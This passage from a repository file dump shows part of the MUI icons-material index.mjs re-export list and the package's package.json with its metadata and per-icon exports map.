\"./WorkOff.mjs\";\nexport { default as WorkOffOutlined } from \"./WorkOffOutlined.mjs\";\nexport { default as WorkOffRounded } from \"./WorkOffRounded.mjs\";\nexport { default as WorkOffSharp } from \"./WorkOffSharp.mjs\";\nexport { default as WorkOffTwoTone } from \"./WorkOffTwoTone.mjs\";\nexport { default as WorkOutline } from \"./WorkOutline.mjs\";\nexport { default as WorkOutlineOutlined } from \"./WorkOutlineOutlined.mjs\";\nexport { default as WorkOutlineRounded } from \"./WorkOutlineRounded.mjs\";\nexport { default as WorkOutlineSharp } from \"./WorkOutlineSharp.mjs\";\nexport { default as WorkOutlineTwoTone } from \"./WorkOutlineTwoTone.mjs\";\nexport { default as WorkOutlined } from \"./WorkOutlined.mjs\";\nexport { default as WorkRounded } from \"./WorkRounded.mjs\";\nexport { default as WorkSharp } from \"./WorkSharp.mjs\";\nexport { default as WorkTwoTone } from \"./WorkTwoTone.mjs\";\nexport { default as WorkspacePremium } from \"./WorkspacePremium.mjs\";\nexport { default as WorkspacePremiumOutlined } from \"./WorkspacePremiumOutlined.mjs\";\nexport { default as WorkspacePremiumRounded } from \"./WorkspacePremiumRounded.mjs\";\nexport { default as WorkspacePremiumSharp } from \"./WorkspacePremiumSharp.mjs\";\nexport { default as WorkspacePremiumTwoTone } from \"./WorkspacePremiumTwoTone.mjs\";\nexport { default as Workspaces } from \"./Workspaces.mjs\";\nexport { default as WorkspacesFilled } from \"./WorkspacesFilled.mjs\";\nexport { default as WorkspacesOutline } from \"./WorkspacesOutline.mjs\";\nexport { default as WorkspacesOutlined } from \"./WorkspacesOutlined.mjs\";\nexport { default as WorkspacesRounded } from \"./WorkspacesRounded.mjs\";\nexport { default as WorkspacesSharp } from \"./WorkspacesSharp.mjs\";\nexport { default as WorkspacesTwoTone } from \"./WorkspacesTwoTone.mjs\";\nexport { default as WrapText } from \"./WrapText.mjs\";\nexport { default as WrapTextOutlined } from \"./WrapTextOutlined.mjs\";\nexport { default as WrapTextRounded } from \"./WrapTextRounded.mjs\";\nexport { default as WrapTextSharp } from \"./WrapTextSharp.mjs\";\nexport { default as WrapTextTwoTone } from \"./WrapTextTwoTone.mjs\";\nexport { default as WrongLocation } from \"./WrongLocation.mjs\";\nexport { default as WrongLocationOutlined } from \"./WrongLocationOutlined.mjs\";\nexport { default as WrongLocationRounded } from \"./WrongLocationRounded.mjs\";\nexport { default as WrongLocationSharp } from \"./WrongLocationSharp.mjs\";\nexport { default as WrongLocationTwoTone } from \"./WrongLocationTwoTone.mjs\";\nexport { default as Wysiwyg } from \"./Wysiwyg.mjs\";\nexport { default as WysiwygOutlined } from \"./WysiwygOutlined.mjs\";\nexport { default as WysiwygRounded } from \"./WysiwygRounded.mjs\";\nexport { default as WysiwygSharp } from \"./WysiwygSharp.mjs\";\nexport { default as WysiwygTwoTone } from \"./WysiwygTwoTone.mjs\";\nexport { default as X } from \"./X.mjs\";\nexport { default as Yard } from \"./Yard.mjs\";\nexport { default as YardOutlined } from \"./YardOutlined.mjs\";\nexport { default as YardRounded } from \"./YardRounded.mjs\";\nexport { default as YardSharp } from \"./YardSharp.mjs\";\nexport { default as YardTwoTone } from \"./YardTwoTone.mjs\";\nexport { default as YouTube } from \"./YouTube.mjs\";\nexport { default as YoutubeSearchedFor } from \"./YoutubeSearchedFor.mjs\";\nexport { default as YoutubeSearchedForOutlined } from \"./YoutubeSearchedForOutlined.mjs\";\nexport { default as YoutubeSearchedForRounded } from \"./YoutubeSearchedForRounded.mjs\";\nexport { default as YoutubeSearchedForSharp } from \"./YoutubeSearchedForSharp.mjs\";\nexport { default as YoutubeSearchedForTwoTone } from \"./YoutubeSearchedForTwoTone.mjs\";\nexport { default as ZoomIn } from \"./ZoomIn.mjs\";\nexport { default as ZoomInMap } from \"./ZoomInMap.mjs\";\nexport { default as ZoomInMapOutlined } from \"./ZoomInMapOutlined.mjs\";\nexport { default as ZoomInMapRounded } from \"./ZoomInMapRounded.mjs\";\nexport { default as ZoomInMapSharp } from \"./ZoomInMapSharp.mjs\";\nexport { default as ZoomInMapTwoTone } from \"./ZoomInMapTwoTone.mjs\";\nexport { default as ZoomInOutlined } from \"./ZoomInOutlined.mjs\";\nexport { default as ZoomInRounded } from \"./ZoomInRounded.mjs\";\nexport { default as ZoomInSharp } from \"./ZoomInSharp.mjs\";\nexport { default as ZoomInTwoTone } from \"./ZoomInTwoTone.mjs\";\nexport { default as ZoomOut } from \"./ZoomOut.mjs\";\nexport { default as ZoomOutMap } from \"./ZoomOutMap.mjs\";\nexport { default as ZoomOutMapOutlined } from \"./ZoomOutMapOutlined.mjs\";\nexport { default as ZoomOutMapRounded } from \"./ZoomOutMapRounded.mjs\";\nexport { default as ZoomOutMapSharp } from \"./ZoomOutMapSharp.mjs\";\nexport { default as ZoomOutMapTwoTone } from \"./ZoomOutMapTwoTone.mjs\";\nexport { default as ZoomOutOutlined } from \"./ZoomOutOutlined.mjs\";\nexport { default as ZoomOutRounded } from \"./ZoomOutRounded.mjs\";\nexport { default as ZoomOutSharp } from \"./ZoomOutSharp.mjs\";\nexport { default as ZoomOutTwoTone } from \"./ZoomOutTwoTone.mjs\";"
  },
  {
    "path": "packages/mui-icons-material/lib/package.json",
    "content": "{\n  \"name\": \"@mui/icons-material\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Material Design icons distributed as SVG React components.\",\n  \"main\": \"./index.js\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"material-ui\",\n    \"material design\",\n    \"icons\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-icons-material\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://mui.com/material-ui/material-icons/\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\"\n  },\n  \"peerDependencies\": {\n    \"@mui/material\": \"workspace:*\",\n    \"@types/react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"peerDependenciesMeta\": {\n    \"@types/react\": {\n      \"optional\": true\n    }\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"type\": \"commonjs\",\n  \"exports\": {\n    \"./package.json\": \"./package.json\",\n    \".\": {\n      \"require\": \"./index.js\",\n      \"import\": \"./index.mjs\",\n      \"default\": \"./index.mjs\"\n    },\n    \"./Abc\": {\n      \"require\": \"./Abc.js\",\n      \"import\": \"./Abc.mjs\",\n      \"default\": \"./Abc.mjs\"\n    },\n    \"./AbcOutlined\": {\n      \"require\": \"./AbcOutlined.js\",\n      \"import\": \"./AbcOutlined.mjs\",\n      \"default\": \"./AbcOutlined.mjs\"\n    },\n    \"./AbcRounded\": {\n      \"require\": \"./AbcRounded.js\",\n      \"import\": \"./AbcRounded.mjs\",\n      \"default\": \"./AbcRounded.mjs\"\n    },\n    \"./AbcSharp\": {\n      \"require\": \"./AbcSharp.js\",\n      \"import\": \"./AbcSharp.mjs\",\n      \"default\": \"./AbcSharp.mjs\"\n    },\n    \"./AbcTwoTone\": {\n      \"require\": \"./AbcTwoTone.js\",\n      \"import\": \"./AbcTwoTone.mjs\",\n      \"default\": \"./AbcTwoTone.mjs\"\n    },\n    \"./AcUnit\": {\n      \"require\": \"./AcUnit.js\",\n      \"import\": \"./AcUnit.mjs\",\n      \"default\": \"./AcUnit.mjs\"\n    },\n    \"./AcUnitOutlined\": {\n      \"require\": \"./AcUnitOutlined.js\",\n      \"import\": \"./AcUnitOutlined.mjs\",\n      \"default\": \"./AcUnitOutlined.mjs\"\n    },\n    \"./AcUnitRounded\": {\n      \"require\": \"./AcUnitRounded.js\",\n      \"import\": \"./AcUnitRounded.mjs\",\n      \"default\": \"./AcUnitRounded.mjs\"\n    },\n    \"./AcUnitSharp\": {\n      \"require\": \"./AcUnitSharp.js\",\n      \"import\": \"./AcUnitSharp.mjs\",\n      \"default\": \"./AcUnitSharp.mjs\"\n    },\n    \"./AcUnitTwoTone\": {\n      \"require\": \"./AcUnitTwoTone.js\",\n      \"import\": \"./AcUnitTwoTone.mjs\",\n      \"default\": \"./AcUnitTwoTone.mjs\"\n    },\n    \"./AccessAlarm\": {\n      \"require\": \"./AccessAlarm.js\",\n      \"import\": \"./AccessAlarm.mjs\",\n      \"default\": \"./AccessAlarm.mjs\"\n    },\n    \"./AccessAlarmOutlined\": {\n      \"require\": \"./AccessAlarmOutlined.js\",\n      \"import\": \"./AccessAlarmOutlined.mjs\",\n      \"default\": \"./AccessAlarmOutlined.mjs\"\n    },\n    \"./AccessAlarmRounded\": {\n      \"require\": \"./AccessAlarmRounded.js\",\n      \"import\": \"./AccessAlarmRounded.mjs\",\n      \"default\": \"./AccessAlarmRounded.mjs\"\n    },\n    \"./AccessAlarmSharp\": {\n      \"require\": \"./AccessAlarmSharp.js\",\n      \"import\": \"./AccessAlarmSharp.mjs\",\n      \"default\": \"./AccessAlarmSharp.mjs\"\n    },\n    \"./AccessAlarmTwoTone\": {\n      \"require\": \"./AccessAlarmTwoTone.js\",\n      \"import\": \"./AccessAlarmTwoTone.mjs\",\n      \"default\": \"./AccessAlarmTwoTone.mjs\"\n    },\n    \"./AccessAlarms\": {\n      \"require\": \"./AccessAlarms.js\",\n      \"import\": \"./AccessAlarms.mjs\",\n      \"default\": \"./AccessAlarms.mjs\"\n    },\n    \"./AccessAlarmsOutlined\": {\n      \"require\": \"./AccessAlarmsOutlined.js\",\n      \"import\": \"./AccessAlarmsOutlined.mjs\",\n      \"default\": \"./AccessAlarmsOutlined.mjs\"\n    },\n    \"./AccessAlarmsRounded\": {\n      \"require\": \"./AccessAlarmsRounded.js\",\n      \"import\": \"./AccessAlarmsRounded.mjs\",\n      \"default\": \"./AccessAlarmsRounded.mjs\"\n    },\n    \"./AccessAlarmsSharp\": {\n      \"require\": \"./AccessAlarmsSharp.js\",\n      \"import\": \"./AccessAlarmsSharp.mjs\",\n      \"default\": \"./AccessAlarmsSharp.mjs\"\n    },\n    \"./AccessAlarmsTwoTone\": {\n      \"require\": \"./AccessAlarmsTwoTone.js\",\n      \"import\": \"./AccessAlarmsTwoTone.mjs\",\n      \"default\": \"./AccessAlarmsTwoTone.mjs\"\n    },\n    \"./AccessTime\": {\n      \"require\": \"./AccessTime.js\",\n      \"import\": \"./AccessTime.mjs\",\n      \"default\": \"./AccessTime.mjs\"\n    },\n    \"./AccessTimeFilled\": {\n      \"import\": \"./AccessTimeFilled.mjs\",\n      \"require\": \"./AccessTimeFilled.js\",\n      \"default\": \"./AccessTimeFilled.mjs\"\n    },\n    \"./AccessTimeFilledOutlined\": {\n      \"import\": \"./AccessTimeFilledOutlined.mjs\",\n      \"require\": \"./AccessTimeFilledOutlined.js\",\n      \"default\": \"./AccessTimeFilledOutlined.mjs\"\n    },\n    \"./AccessTimeFilledRounded\": {\n      \"import\": \"./AccessTimeFilledRounded.mjs\",\n      \"require\": \"./AccessTimeFilledRounded.js\",\n      \"default\": \"./AccessTimeFilledRounded.mjs\"\n    },\n    \"./AccessTimeFilledSharp\": {\n      \"import\": \"./AccessTimeFilledSharp.mjs\",\n      \"require\": \"./AccessTimeFilledSharp.js\",\n      \"default\": \"./AccessTimeFilledSharp.mjs\"\n    },\n    \"./AccessTimeFilledTwoTone\": {\n      \"import\": \"./AccessTimeFilledTwoTone.mjs\",\n      \"require\": \"./AccessTimeFilledTwoTone.js\",\n      \"default\": \"./AccessTimeFilledTwoTone.mjs\"\n    },\n    \"./AccessTimeOutlined\": {\n      \"import\": \"./AccessTimeOutlined.mjs\",\n      \"require\": \"./AccessTimeOutlined.js\",\n      \"default\": \"./AccessTimeOutlined.mjs\"\n    },\n    \"./AccessTimeRounded\": {\n      \"import\": \"./AccessTimeRounded.mjs\",\n      \"require\": \"./AccessTimeRounded.js\",\n      \"default\": \"./AccessTimeRounded.mjs\"\n    },\n    \"./AccessTimeSharp\": {\n      \"import\": \"./AccessTimeSharp.mjs\",\n      \"require\": \"./AccessTimeSharp.js\",\n      \"default\": \"./AccessTimeSharp.mjs\"\n    },\n    \"./AccessTimeTwoTone\": {\n      \"import\": \"./AccessTimeTwoTone.mjs\",\n      \"require\": \"./AccessTimeTwoTone.js\",\n      \"default\": \"./AccessTimeTwoTone.mjs\"\n    },\n    \"./Accessibility\": {\n      \"import\": \"./Accessibility.mjs\",\n      \"require\": \"./Accessibility.js\",\n      \"default\": \"./Accessibility.mjs\"\n    },\n    \"./AccessibilityNew\": {\n      \"import\": \"./AccessibilityNew.mjs\",\n      \"require\": \"./AccessibilityNew.js\",\n      \"default\": \"./AccessibilityNew.mjs\"\n    },\n    \"./AccessibilityNewOutlined\": {\n      \"import\": \"./AccessibilityNewOutlined.mjs\",\n      \"require\": \"./AccessibilityNewOutlined.js\",\n      \"default\": \"./AccessibilityNewOutlined.mjs\"\n    },\n    \"./AccessibilityNewRounded\": {\n      \"import\": \"./AccessibilityNewRounded.mjs\",\n      \"require\": \"./AccessibilityNewRounded.js\",\n      \"default\": \"./AccessibilityNewRounded.mjs\"\n    },\n    \"./AccessibilityNewSharp\": {\n      \"import\": \"./AccessibilityNewSharp.mjs\",\n      \"require\": \"./AccessibilityNewSharp.js\",\n      \"default\": \"./AccessibilityNewSharp.mjs\"\n    },\n    \"./AccessibilityNewTwoTone\": {\n      \"import\": \"./AccessibilityNewTwoTone.mjs\",\n      \"require\": \"./AccessibilityNewTwoTone.js\",\n      \"default\": \"./AccessibilityNewTwoTone.mjs\"\n    },\n    \"./AccessibilityOutlined\": {\n      \"import\": \"./AccessibilityOutlined.mjs\",\n      \"require\": \"./AccessibilityOutlined.js\",\n      \"default\": \"./AccessibilityOutlined.mjs\"\n    },\n    \"./AccessibilityRounded\": {\n      \"import\": \"./AccessibilityRounded.mjs\",\n      \"require\": \"./AccessibilityRounded.js\",\n      \"default\": \"./AccessibilityRounded.mjs\"\n    },\n    \"./AccessibilitySharp\": {\n      \"import\": \"./AccessibilitySharp.mjs\",\n      \"require\": \"./AccessibilitySharp.js\",\n      \"default\": \"./AccessibilitySharp.mjs\"\n    },\n    \"./AccessibilityTwoTone\": {\n      \"import\": \"./AccessibilityTwoTone.mjs\",\n      \"require\": \"./AccessibilityTwoTone.js\",\n      \"default\": \"./AccessibilityTwoTone.mjs\"\n    },\n    \"./Accessible\": {\n      \"import\": \"./Accessible.mjs\",\n      \"require\": \"./Accessible.js\",\n      \"default\": \"./Accessible.mjs\"\n    },\n    \"./AccessibleForward\": {\n      \"import\": \"./AccessibleForward.mjs\",\n      \"require\": \"./AccessibleForward.js\",\n      \"default\": \"./AccessibleForward.mjs\"\n    },\n    \"./AccessibleForwardOutlined\": {\n      \"import\": \"./AccessibleForwardOutlined.mjs\",\n      \"require\": \"./AccessibleForwardOutlined.js\",\n      \"default\": \"./AccessibleForwardOutlined.mjs\"\n    },\n    \"./AccessibleForwardRounded\": {\n      \"import\": \"./AccessibleForwardRounded.mjs\",\n      \"require\": \"./AccessibleForwardRounded.js\",\n      \"default\": \"./AccessibleForwardRounded.mjs\"\n    },\n    \"./AccessibleForwardSharp\": {\n      \"import\": \"./AccessibleForwardSharp.mjs\",\n      \"require\": \"./AccessibleForwardSharp.js\",\n      \"default\": \"./AccessibleForwardSharp.mjs\"\n    },\n    \"./AccessibleForwardTwoTone\": {\n      \"import\": \"./AccessibleForwardTwoTone.mjs\",\n      \"require\": \"./AccessibleForwardTwoTone.js\",\n      \"default\": \"./AccessibleForwardTwoTone.mjs\"\n    },\n    \"./AccessibleOutlined\": {\n      \"import\": \"./AccessibleOutlined.mjs\",\n      \"require\": \"./AccessibleOutlined.js\",\n      \"default\": \"./AccessibleOutlined.mjs\"\n    },\n    \"./AccessibleRounded\": {\n      \"import\": \"./AccessibleRounded.mjs\",\n      \"require\": \"./AccessibleRounded.js\",\n      \"default\": \"./AccessibleRounded.mjs\"\n    },\n    \"./AccessibleSharp\": {\n      \"import\": \"./AccessibleSharp.mjs\",\n      \"require\": \"./AccessibleSharp.js\",\n      \"default\": \"./AccessibleSharp.mjs\"\n    },\n    \"./AccessibleTwoTone\": {\n      \"import\": \"./AccessibleTwoTone.mjs\",\n      \"require\": \"./AccessibleTwoTone.js\",\n      \"default\": \"./AccessibleTwoTone.mjs\"\n    },\n    \"./AccountBalance\": {\n      \"import\": \"./AccountBalance.mjs\",\n      \"require\": \"./AccountBalance.js\",\n      \"default\": \"./AccountBalance.mjs\"\n    },\n    \"./AccountBalanceOutlined\": {\n      \"import\": \"./AccountBalanceOutlined.mjs\",\n      \"require\": \"./AccountBalanceOutlined.js\",\n      \"default\": \"./AccountBalanceOutlined.mjs\"\n    },\n    \"./AccountBalanceRounded\": {\n      \"import\": \"./AccountBalanceRounded.mjs\",\n      \"require\": \"./AccountBalanceRounded.js\",\n      \"default\": \"./AccountBalanceRounded.mjs\"\n    },\n    \"./AccountBalanceSharp\": {\n      \"import\": \"./AccountBalanceSharp.mjs\",\n      \"require\": \"./AccountBalanceSharp.js\",\n      \"default\": \"./AccountBalanceSharp.mjs\"\n    },\n    \"./AccountBalanceTwoTone\": {\n      \"import\": \"./AccountBalanceTwoTone.mjs\",\n      \"require\": \"./AccountBalanceTwoTone.js\",\n      \"default\": \"./AccountBalanceTwoTone.mjs\"\n    },\n    \"./AccountBalanceWallet\": {\n      \"import\": \"./AccountBalanceWallet.mjs\",\n      \"require\": \"./AccountBalanceWallet.js\",\n      \"default\": \"./AccountBalanceWallet.mjs\"\n    },\n    \"./AccountBalanceWalletOutlined\": {\n      \"import\": \"./AccountBalanceWalletOutlined.mjs\",\n      \"require\": \"./AccountBalanceWalletOutlined.js\",\n      \"default\": \"./AccountBalanceWalletOutlined.mjs\"\n    },\n    \"./AccountBalanceWalletRounded\": {\n      \"import\": \"./AccountBalanceWalletRounded.mjs\",\n      \"require\": \"./AccountBalanceWalletRounded.js\",\n      \"default\": \"./AccountBalanceWalletRounded.mjs\"\n    },\n    \"./AccountBalanceWalletSharp\": {\n      \"import\": \"./AccountBalanceWalletSharp.mjs\",\n      \"require\": \"./AccountBalanceWalletSharp.js\",\n      \"default\": \"./AccountBalanceWalletSharp.mjs\"\n    },\n    \"./AccountBalanceWalletTwoTone\": {\n      \"import\": \"./AccountBalanceWalletTwoTone.mjs\",\n      \"require\": \"./AccountBalanceWalletTwoTone.js\",\n      \"default\": \"./AccountBalanceWalletTwoTone.mjs\"\n    },\n    \"./AccountBox\": {\n      \"require\": \"./AccountBox.js\",\n      \"import\": \"./AccountBox.mjs\",\n      \"default\": \"./AccountBox.mjs\"\n    },\n    \"./AccountBoxOutlined\": {\n      \"import\": \"./AccountBoxOutlined.mjs\",\n      \"require\": \"./AccountBoxOutlined.js\",\n      \"default\": \"./AccountBoxOutlined.mjs\"\n    },\n    \"./AccountBoxRounded\": {\n      \"import\": \"./AccountBoxRounded.mjs\",\n      \"require\": \"./AccountBoxRounded.js\",\n      \"default\": \"./AccountBoxRounded.mjs\"\n    },\n    \"./AccountBoxSharp\": {\n      \"import\": \"./AccountBoxSharp.mjs\",\n      \"require\": \"./AccountBoxSharp.js\",\n      \"default\": \"./AccountBoxSharp.mjs\"\n    },\n    \"./AccountBoxTwoTone\": {\n      \"import\": \"./AccountBoxTwoTone.mjs\",\n      \"require\": \"./AccountBoxTwoTone.js\",\n      \"default\": \"./AccountBoxTwoTone.mjs\"\n    },\n    \"./AccountCircle\": {\n      \"import\": \"./AccountCircle.mjs\",\n      \"require\": \"./AccountCircle.js\",\n      \"default\": \"./AccountCircle.mjs\"\n    },\n    \"./AccountCircleOutlined\": {\n      \"import\": \"./AccountCircleOutlined.mjs\",\n      \"require\": \"./AccountCircleOutlined.js\",\n      \"default\": \"./AccountCircleOutlined.mjs\"\n    },\n    \"./AccountCircleRounded\": {\n      \"import\": \"./AccountCircleRounded.mjs\",\n      \"require\": \"./AccountCircleRounded.js\",\n      \"default\": \"./AccountCircleRounded.mjs\"\n    },\n    \"./AccountCircleSharp\": {\n      \"require\": \"./AccountCircleSharp.js\",\n      \"import\": \"./AccountCircleSharp.mjs\",\n      \"default\": \"./AccountCircleSharp.mjs\"\n    },\n    \"./AccountCircleTwoTone\": {\n      \"require\": \"./AccountCircleTwoTone.js\",\n      \"import\": \"./AccountCircleTwoTone.mjs\",\n      \"default\": \"./AccountCircleTwoTone.mjs\"\n    },\n    \"./AccountTree\": {\n      \"require\": \"./AccountTree.js\",\n      \"import\": \"./AccountTree.mjs\",\n      \"default\": \"./AccountTree.mjs\"\n    },\n    \"./AccountTreeOutlined\": {\n      \"require\": \"./AccountTreeOutlined.js\",\n      \"import\": \"./AccountTreeOutlined.mjs\",\n      \"default\": \"./AccountTreeOutlined.mjs\"\n    },\n    \"./AccountTreeRounded\": {\n      \"require\": \"./AccountTreeRounded.js\",\n      \"import\": \"./AccountTreeRounded.mjs\",\n      \"default\": \"./AccountTreeRounded.mjs\"\n    },\n    \"./AccountTreeSharp\": {\n      \"import\": \"./AccountTreeSharp.mjs\",\n      \"require\": \"./AccountTreeSharp.js\",\n      \"default\": \"./AccountTreeSharp.mjs\"\n    },\n    \"./AccountTreeTwoTone\": {\n      \"import\": \"./AccountTreeTwoTone.mjs\",\n      \"require\": \"./AccountTreeTwoTone.js\",\n      \"default\": \"./AccountTreeTwoTone.mjs\"\n    },\n    \"./AdUnits\": {\n      \"require\": \"./AdUnits.js\",\n      \"import\": \"./AdUnits.mjs\",\n      \"default\": \"./AdUnits.mjs\"\n    },\n    \"./AdUnitsOutlined\": {\n      \"require\": \"./AdUnitsOutlined.js\",\n      \"import\": \"./AdUnitsOutlined.mjs\",\n      \"default\": \"./AdUnitsOutlined.mjs\"\n    },\n    \"./AdUnitsRounded\": {\n      \"require\": \"./AdUnitsRounded.js\",\n      \"import\": \"./AdUnitsRounded.mjs\",\n      \"default\": \"./AdUnitsRounded.mjs\"\n    },\n    \"./AdUnitsSharp\": {\n      \"require\": \"./AdUnitsSharp.js\",\n      \"import\": \"./AdUnitsSharp.mjs\",\n      \"default\": \"./AdUnitsSharp.mjs\"\n    },\n    \"./AdUnitsTwoTone\": {\n      \"require\": \"./AdUnitsTwoTone.js\",\n      \"import\": \"./AdUnitsTwoTone.mjs\",\n      \"default\": \"./AdUnitsTwoTone.mjs\"\n    },\n    \"./Adb\": {\n      \"require\": \"./Adb.js\",\n      \"import\": \"./Adb.mjs\",\n      \"default\": \"./Adb.mjs\"\n    },\n    \"./AdbOutlined\": {\n      \"require\": \"./AdbOutlined.js\",\n      \"import\": \"./AdbOutlined.mjs\",\n      \"default\": \"./AdbOutlined.mjs\"\n    },\n    \"./AdbRounded\": {\n      \"require\": \"./AdbRounded.js\",\n      \"import\": \"./AdbRounded.mjs\",\n      \"default\": \"./AdbRounded.mjs\"\n    },\n    \"./AdbSharp\": {\n      \"require\": \"./AdbSharp.js\",\n      \"import\": \"./AdbSharp.mjs\",\n      \"default\": \"./AdbSharp.mjs\"\n    },\n    \"./AdbTwoTone\": {\n      \"require\": \"./AdbTwoTone.js\",\n      \"import\": \"./AdbTwoTone.mjs\",\n      \"default\": \"./AdbTwoTone.mjs\"\n    },\n    \"./Add\": {\n      \"require\": \"./Add.js\",\n      \"import\": \"./Add.mjs\",\n      \"default\": \"./Add.mjs\"\n    },\n    \"./AddAPhoto\": {\n      \"require\": \"./AddAPhoto.js\",\n      \"import\": \"./AddAPhoto.mjs\",\n      \"default\": \"./AddAPhoto.mjs\"\n    },\n    \"./AddAPhotoOutlined\": {\n      \"require\": \"./AddAPhotoOutlined.js\",\n      \"import\": \"./AddAPhotoOutlined.mjs\",\n      \"default\": \"./AddAPhotoOutlined.mjs\"\n    },\n    \"./AddAPhotoRounded\": {\n      \"import\": \"./AddAPhotoRounded.mjs\",\n      \"require\": \"./AddAPhotoRounded.js\",\n      \"default\": \"./AddAPhotoRounded.mjs\"\n    },\n    \"./AddAPhotoSharp\": {\n      \"import\": \"./AddAPhotoSharp.mjs\",\n      \"require\": \"./AddAPhotoSharp.js\",\n      \"default\": \"./AddAPhotoSharp.mjs\"\n    },\n    \"./AddAPhotoTwoTone\": {\n      \"import\": \"./AddAPhotoTwoTone.mjs\",\n      \"require\": \"./AddAPhotoTwoTone.js\",\n      \"default\": \"./AddAPhotoTwoTone.mjs\"\n    },\n    \"./AddAlarm\": {\n      \"import\": \"./AddAlarm.mjs\",\n      \"require\": \"./AddAlarm.js\",\n      \"default\": \"./AddAlarm.mjs\"\n    },\n    \"./AddAlarmOutlined\": {\n      \"import\": \"./AddAlarmOutlined.mjs\",\n      \"require\": \"./AddAlarmOutlined.js\",\n      \"default\": \"./AddAlarmOutlined.mjs\"\n    },\n    \"./AddAlarmRounded\": {\n      \"import\": \"./AddAlarmRounded.mjs\",\n      \"require\": \"./AddAlarmRounded.js\",\n      \"default\": \"./AddAlarmRounded.mjs\"\n    },\n    \"./AddAlarmSharp\": {\n      \"import\": \"./AddAlarmSharp.mjs\",\n      \"require\": \"./AddAlarmSharp.js\",\n      \"default\": \"./AddAlarmSharp.mjs\"\n    },\n    \"./AddAlarmTwoTone\": {\n      \"import\": \"./AddAlarmTwoTone.mjs\",\n      \"require\": \"./AddAlarmTwoTone.js\",\n      \"default\": \"./AddAlarmTwoTone.mjs\"\n    },\n    \"./AddAlert\": {\n      \"import\": \"./AddAlert.mjs\",\n      \"require\": \"./AddAlert.js\",\n      \"default\": \"./AddAlert.mjs\"\n    },\n    \"./AddAlertOutlined\": {\n      \"import\": \"./AddAlertOutlined.mjs\",\n      \"require\": \"./AddAlertOutlined.js\",\n      \"default\": \"./AddAlertOutlined.mjs\"\n    },\n    \"./AddAlertRounded\": {\n      \"import\": \"./AddAlertRounded.mjs\",\n      \"require\": \"./AddAlertRounded.js\",\n      \"default\": \"./AddAlertRounded.mjs\"\n    },\n    \"./AddAlertSharp\": {\n      \"import\": \"./AddAlertSharp.mjs\",\n      \"require\": \"./AddAlertSharp.js\",\n      \"default\": \"./AddAlertSharp.mjs\"\n    },\n    \"./AddAlertTwoTone\": {\n      \"import\": \"./AddAlertTwoTone.mjs\",\n      \"require\": \"./AddAlertTwoTone.js\",\n      \"default\": \"./AddAlertTwoTone.mjs\"\n    },\n    \"./AddBox\": {\n      \"import\": \"./AddBox.mjs\",\n      \"require\": \"./AddBox.js\",\n      \"default\": \"./AddBox.mjs\"\n    },\n    \"./AddBoxOutlined\": {\n      \"import\": \"./AddBoxOutlined.mjs\",\n      \"require\": \"./AddBoxOutlined.js\",\n      \"default\": \"./AddBoxOutlined.mjs\"\n    },\n    \"./AddBoxRounded\": {\n      \"import\": \"./AddBoxRounded.mjs\",\n      \"require\": \"./AddBoxRounded.js\",\n      \"default\": \"./AddBoxRounded.mjs\"\n    },\n    \"./AddBoxSharp\": {\n      \"import\": \"./AddBoxSharp.mjs\",\n      \"require\": \"./AddBoxSharp.js\",\n      \"default\": \"./AddBoxSharp.mjs\"\n    },\n    \"./AddBoxTwoTone\": {\n      \"import\": \"./AddBoxTwoTone.mjs\",\n      \"require\": \"./AddBoxTwoTone.js\",\n      \"default\": \"./AddBoxTwoTone.mjs\"\n    },\n    \"./AddBusiness\": {\n      \"import\": \"./AddBusiness.mjs\",\n      \"require\": \"./AddBusiness.js\",\n      \"default\": \"./AddBusiness.mjs\"\n    },\n    \"./AddBusinessOutlined\": {\n      \"import\": \"./AddBusinessOutlined.mjs\",\n      \"require\": \"./AddBusinessOutlined.js\",\n      \"default\": \"./AddBusinessOutlined.mjs\"\n    },\n    \"./AddBusinessRounded\": {\n      \"import\": \"./AddBusinessRounded.mjs\",\n      \"require\": \"./AddBusinessRounded.js\",\n      \"default\": \"./AddBusinessRounded.mjs\"\n    },\n    \"./AddBusinessSharp\": {\n      \"import\": \"./AddBusinessSharp.mjs\",\n      \"require\": \"./AddBusinessSharp.js\",\n      \"default\": \"./AddBusinessSharp.mjs\"\n    },\n    \"./AddBusinessTwoTone\": {\n      \"import\": \"./AddBusinessTwoTone.mjs\",\n      \"require\": \"./AddBusinessTwoTone.js\",\n      \"default\": \"./AddBusinessTwoTone.mjs\"\n    },\n    \"./AddCall\": {\n      \"import\": \"./AddCall.mjs\",\n      \"require\": \"./AddCall.js\",\n      \"default\": \"./AddCall.mjs\"\n    },\n    \"./AddCard\": {\n      \"import\": \"./AddCard.mjs\",\n      \"require\": \"./AddCard.js\",\n      \"default\": \"./AddCard.mjs\"\n    },\n    \"./AddCardOutlined\": {\n      \"import\": \"./AddCardOutlined.mjs\",\n      \"require\": \"./AddCardOutlined.js\",\n      \"default\": \"./AddCardOutlined.mjs\"\n    },\n    \"./AddCardRounded\": {\n      \"import\": \"./AddCardRounded.mjs\",\n      \"require\": \"./AddCardRounded.js\",\n      \"default\": \"./AddCardRounded.mjs\"\n    },\n    \"./AddCardSharp\": {\n      \"import\": \"./AddCardSharp.mjs\",\n      \"require\": \"./AddCardSharp.js\",\n      \"default\": \"./AddCardSharp.mjs\"\n    },\n    \"./AddCardTwoTone\": {\n      \"import\": \"./AddCardTwoTone.mjs\",\n      \"require\": \"./AddCardTwoTone.js\",\n      \"default\": \"./AddCardTwoTone.mjs\"\n    },\n    \"./AddCircle\": {\n      \"import\": \"./AddCircle.mjs\",\n      \"require\": \"./AddCircle.js\",\n      \"default\": \"./AddCircle.mjs\"\n    },\n    \"./AddCircleOutline\": {\n      \"import\": 